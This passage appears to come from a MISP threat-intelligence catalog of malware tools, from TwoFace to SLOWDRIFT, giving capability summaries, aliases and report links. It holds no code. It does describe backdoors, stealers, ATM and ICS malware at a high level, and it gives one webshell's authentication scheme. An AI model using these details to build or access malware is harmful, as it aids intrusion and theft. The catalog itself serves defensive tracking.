While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.
The tag is: misp-galaxy:tool="TwoFace"
Links |
IntrudingDivisor
Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete
The tag is: misp-galaxy:tool="IntrudingDivisor"
Links |
JS_POWMET
Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.
The tag is: misp-galaxy:tool="JS_POWMET"
Links |
EngineBox Malware
The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.
The tag is: misp-galaxy:tool="EngineBox Malware"
Links |
Joao
Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.
The tag is: misp-galaxy:tool="Joao"
Joao has relationships with:
-
similar: misp-galaxy:malpedia="Joao" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/ |
Fireball
Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.
The tag is: misp-galaxy:tool="Fireball"
Fireball has relationships with:
-
similar: misp-galaxy:malpedia="Fireball" with estimative-language:likelihood-probability="likely"
Links |
https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html |
ShadowPad
ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.
The tag is: misp-galaxy:tool="ShadowPad"
ShadowPad is also known as:
-
POISONPLUG
-
Barlaiy
ShadowPad has relationships with:
-
similar: misp-galaxy:malpedia="ShadowPad" with estimative-language:likelihood-probability="likely"
Links |
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf |
IoT_reaper
IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.
The tag is: misp-galaxy:tool="IoT_reaper"
Links |
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/ |
FormBook
FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.
The tag is: misp-galaxy:tool="FormBook"
Dimnie
Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.
The tag is: misp-galaxy:tool="Dimnie"
Dimnie has relationships with:
-
similar: misp-galaxy:malpedia="Dimnie" with estimative-language:likelihood-probability="likely"
Links |
https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/ |
ALMA Communicator
The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
The tag is: misp-galaxy:tool="ALMA Communicator"
Links |
Silence
In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.
The tag is: misp-galaxy:tool="Silence"
Silence has relationships with:
-
similar: misp-galaxy:malpedia="Silence" with estimative-language:likelihood-probability="likely"
Links |
Volgmer
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer
The tag is: misp-galaxy:tool="Volgmer"
Volgmer has relationships with:
-
similar: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
Links |
Nymaim
Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans
The tag is: misp-galaxy:tool="Nymaim"
Nymaim has relationships with:
-
similar: misp-galaxy:malpedia="Nymaim" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0 |
GootKit
As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.
The tag is: misp-galaxy:tool="GootKit"
GootKit is also known as:
-
Gootkit
GootKit has relationships with:
-
similar: misp-galaxy:malpedia="GootKit" with estimative-language:likelihood-probability="likely"
Agent Tesla
Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).
The tag is: misp-galaxy:tool="Agent Tesla"
Agent Tesla has relationships with:
-
similar: misp-galaxy:malpedia="Agent Tesla" with estimative-language:likelihood-probability="likely"
Links |
Ordinypt
A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.
The tag is: misp-galaxy:tool="Ordinypt"
Ordinypt is also known as:
-
HSDFSDCrypt
Ordinypt has relationships with:
-
similar: misp-galaxy:malpedia="Ordinypt" with estimative-language:likelihood-probability="likely"
Links |
StrongPity2
Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.
The tag is: misp-galaxy:tool="StrongPity2"
StrongPity2 is also known as:
-
Win32/StrongPity2
Links |
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/ |
wp-vcd
WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D’Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware’s name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.
The tag is: misp-galaxy:tool="wp-vcd"
Links |
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/ |
MoneyTaker 5.0
malicious program for auto replacement of payment data in AWS CBR
The tag is: misp-galaxy:tool="MoneyTaker 5.0"
Links |
Quant Loader
Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.
The tag is: misp-galaxy:tool="Quant Loader"
Quant Loader has relationships with:
-
similar: misp-galaxy:malpedia="Quant Loader" with estimative-language:likelihood-probability="likely"
Links |
SSHDoor
The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.
The tag is: misp-galaxy:tool="SSHDoor"
SSHDoor has relationships with:
-
similar: misp-galaxy:malpedia="SSHDoor" with estimative-language:likelihood-probability="likely"
Links |
TRISIS
(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.
The tag is: misp-galaxy:tool="TRISIS"
TRISIS is also known as:
-
TRITON
Links |
OSX.Pirrit
macOS adware strain
The tag is: misp-galaxy:tool="OSX.Pirrit"
OSX.Pirrit is also known as:
-
OSX/Pirrit
GratefulPOS
GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.
The tag is: misp-galaxy:tool="GratefulPOS"
GratefulPOS has relationships with:
-
similar: misp-galaxy:banker="GratefulPOS" with estimative-language:likelihood-probability="likely"
Links |
PRILEX
Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.
The tag is: misp-galaxy:tool="PRILEX"
Links |
CUTLET MAKER
Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.
The tag is: misp-galaxy:tool="CUTLET MAKER"
Links |
Satori
According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.
The tag is: misp-galaxy:tool="Satori"
Satori is also known as:
-
Okiru
Satori has relationships with:
-
similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"
Links |
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant |
PowerSpritz
PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.
The tag is: misp-galaxy:tool="PowerSpritz"
Links |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
PowerRatankba
PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.
The tag is: misp-galaxy:tool="PowerRatankba"
PowerRatankba has relationships with:
-
similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
Ratankba
In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.
The tag is: misp-galaxy:tool="Ratankba"
Links |
USBStealer
USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.
The tag is: misp-galaxy:tool="USBStealer"
USBStealer has relationships with:
-
similar: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
Downdelph
Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.
The tag is: misp-galaxy:tool="Downdelph"
Downdelph has relationships with:
-
similar: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
CoinMiner
Monero-mining malware
The tag is: misp-galaxy:tool="CoinMiner"
CoinMiner has relationships with:
-
similar: misp-galaxy:malpedia="Monero Miner" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/ |
FruitFly
A fully-featured backdoor, designed to perversely spy on Mac users
The tag is: misp-galaxy:tool="FruitFly"
FruitFly has relationships with:
-
similar: misp-galaxy:malpedia="FruitFly" with estimative-language:likelihood-probability="likely"
Links |
MacDownloader
Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.
The tag is: misp-galaxy:tool="MacDownloader"
MacDownloader is also known as:
-
iKitten
MacDownloader has relationships with:
-
similar: misp-galaxy:malpedia="MacDownloader" with estimative-language:likelihood-probability="likely"
Links |
Empyre
The open-source macOS backdoor, 'Empye', maliciously packaged into a macro’d Word document
The tag is: misp-galaxy:tool="Empyre"
Empyre is also known as:
-
Empye
Links |
Proton
A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.
The tag is: misp-galaxy:tool="Proton"
Links |
Mughthesec
Adware which hijacks a macOS user’s homepage to redirect search queries.
The tag is: misp-galaxy:tool="Mughthesec"
Mughthesec has relationships with:
-
similar: misp-galaxy:malpedia="Mughthesec" with estimative-language:likelihood-probability="likely"
Links |
Pwnet
A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.
The tag is: misp-galaxy:tool="Pwnet"
Pwnet has relationships with:
-
similar: misp-galaxy:malpedia="Pwnet" with estimative-language:likelihood-probability="likely"
Links |
CpuMeaner
A macOS crypto-currency mining trojan.
The tag is: misp-galaxy:tool="CpuMeaner"
CpuMeaner has relationships with:
-
similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"
Links |
Travle
The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.
The tag is: misp-galaxy:tool="Travle"
Travle is also known as:
-
PYLOT
Links |
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/ |
Digmine
Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.
The tag is: misp-galaxy:tool="Digmine"
Links |
TSCookie
TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.
The tag is: misp-galaxy:tool="TSCookie"
TSCookie has relationships with:
-
similar: misp-galaxy:malpedia="PLEAD" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"
Links |
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html |
Exforel
Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.
The tag is: misp-galaxy:tool="Exforel"
Links |
Rotinom
W32.Rotinom is a worm that spreads by copying itself to removable drives.
The tag is: misp-galaxy:tool="Rotinom"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99 |
Aurora
You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.
The tag is: misp-galaxy:tool="Aurora"
Aurora is also known as:
-
Hydraq
Aurora has relationships with:
-
similar: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
Cheshire Cat
Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.
The tag is: misp-galaxy:tool="Cheshire Cat"
Links |
https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/ |
Downloader-FGO
Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge
The tag is: misp-galaxy:tool="Downloader-FGO"
Downloader-FGO is also known as:
-
Win32:Malware-gen
-
Generic30.ASYL (Trojan horse)
-
TR/Agent.84480.85
-
Trojan.Generic.8627031
-
Trojan:Win32/Sisproc
-
SB/Malware
-
Trj/CI.A
-
Mal/Behav-112
-
Trojan.Spuler
-
TROJ_KAZY.SM1
-
Win32/FakePPT_i
Links |
https://www.solvusoft.com/en/malware/trojans/downloader-fgo/ |
miniFlame
Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.
The tag is: misp-galaxy:tool="miniFlame"
Links |
https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/ |
GHOTEX
PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.
The tag is: misp-galaxy:tool="GHOTEX"
Links |
https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o |
Shipup
Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.
The tag is: misp-galaxy:tool="Shipup"
Links |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx] |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx] |
Neuron
Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.
The tag is: misp-galaxy:tool="Neuron"
Neuron has relationships with:
-
similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"
Links |
Nautilus
Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk
The tag is: misp-galaxy:tool="Nautilus"
Nautilus has relationships with:
-
similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"
Links |
Gamut Botnet
Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.
The tag is: misp-galaxy:tool="Gamut Botnet"
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/ |
CORALDECK
CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives
The tag is: misp-galaxy:tool="CORALDECK"
CORALDECK is also known as:
-
APT.InfoStealer.Win.CORALDECK
-
FE_APT_InfoStealer_Win_CORALDECK_1
CORALDECK has relationships with:
-
similar: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
DOGCALL
DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.
The tag is: misp-galaxy:tool="DOGCALL"
DOGCALL is also known as:
-
FE_APT_RAT_DOGCALL
-
FE_APT_Backdoor_Win32_DOGCALL_1
-
APT.Backdoor.Win.DOGCALL
DOGCALL has relationships with:
-
similar: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
GELCAPSULE
GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.
The tag is: misp-galaxy:tool="GELCAPSULE"
GELCAPSULE is also known as:
-
FE_APT_Downloader_Win32_GELCAPSULE_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
HAPPYWORK
HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.
The tag is: misp-galaxy:tool="HAPPYWORK"
HAPPYWORK is also known as:
-
FE_APT_Downloader_HAPPYWORK
-
FE_APT_Exploit_HWP_Happy
-
Downloader.APT.HAPPYWORK
HAPPYWORK has relationships with:
-
similar: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
KARAE
Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.
The tag is: misp-galaxy:tool="KARAE"
KARAE is also known as:
-
FE_APT_Backdoor_Karae_enc
-
FE_APT_Backdoor_Karae
-
Backdoor.APT.Karae
KARAE has relationships with:
-
similar: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
MILKDROP
MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.
The tag is: misp-galaxy:tool="MILKDROP"
MILKDROP is also known as:
-
FE_Trojan_Win32_MILKDROP_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
POORAIM
POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.
The tag is: misp-galaxy:tool="POORAIM"
POORAIM is also known as:
-
Backdoor.APT.POORAIM
POORAIM has relationships with:
-
similar: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RICECURRY
RICECURRY is a Javascript based profiler used to fingerprint a victim’s web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.
The tag is: misp-galaxy:tool="RICECURRY"
RICECURRY is also known as:
-
Exploit.APT.RICECURRY
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RUHAPPY
RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.
The tag is: misp-galaxy:tool="RUHAPPY"
RUHAPPY is also known as:
-
FE_APT_Trojan_Win32_RUHAPPY_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SHUTTERSPEED
SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.
The tag is: misp-galaxy:tool="SHUTTERSPEED"
SHUTTERSPEED is also known as:
-
FE_APT_Backdoor_SHUTTERSPEED
-
APT.Backdoor.SHUTTERSPEED
SHUTTERSPEED has relationships with:
-
similar: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SLOWDRIFT
